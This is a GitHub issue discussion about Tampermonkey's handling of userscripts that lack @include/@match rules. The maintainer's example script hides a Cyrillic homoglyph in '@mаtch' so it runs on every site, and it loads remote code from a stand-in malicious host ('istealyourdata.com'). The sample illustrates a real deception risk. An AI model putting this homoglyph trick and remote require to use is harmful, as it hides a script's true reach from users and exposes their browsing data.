Tampermonkey / tampermonkey

Tampermonkey is the most popular userscript manager, with over 10 million users. It's available for Chrome, Microsoft Edge, Safari, Opera Next, and Firefox.
GNU General Public License v3.0
4.02k stars 412 forks source link

Make include or match compulsory for saving script and show a smart error message #2060

Open jesus2099 opened 1 month ago

jesus2099 commented 1 month ago

Tickets #2059 and #1766 show that userscript authors don't know that Tampermonkey users cannot run their userscript, as they silently fail.

As the lack of include and match makes the userscript useless (not running), Tampermonkey should prevent saving it with a smart error.

Currently, saving a userscript without name is not possible and an alert with a not-smart error appears, saying Invalid Userscript. Sry!

  1. We should have a Userscript name is compulsory. Sorry! in this case
  2. We should have a At least one include or match is compulsory. Sorry!, and saving would be prevented, as for the lack of name
derjanb commented 1 month ago

Making it compulsory is not an option, because we have to handle "includeless" scripts from installations anyway. These scripts would then not be able to be saved even though they are installed.

I've add a warning when a "includeless" script is saved the first time. Furthermore the script overview table now shows a warning at such scripts.

Fun question: Where does this script run when using different userscript managers?

// ==UserScript==
// @name         Innocent Userscript
// @namespace    http://tampermonkey.net/
// @version      2024-05-16
// @description  look cute
// @author       You
// @mаtch        https://example.com/*
// @require      https://istealyourdata.com/script.js
// @grant        none
// ==/UserScript==

console.log('Sooo cute!!!!');

Should be fixed at 5.2.6196 (crx|xpi in review)

Chrome/Edge users, please download the crx file linked above and drag and drop it to the extensions page chrome://extensions (after you've enabled 'Developer Mode'). Firefox users please install the BETA version or check for BETA version updates at about:addons

For a quick fix please export your settings and scripts as zip or (JSON) file at the "Utilities" tab and import it back at the fixed BETA version.

jesus2099 commented 1 month ago

// @mаtch [thisthat](https://example.com/*)

I see, OK. So it runs everywhere because of that U+0430 Cyrillic small letter a in mаtch. 🤣 But you can also have fake confuse URL like // @match http://Culturelmpact.com/* (with an L) and unsecure includes with heading * and things like that. And when you install a userscript, you get an information screen showing you the recognised includes and matches.

But I see your point. As it is non-standard (non-Greasemonkey), it should really be made visible at install. But it seems you did it in next version! Cool! 👏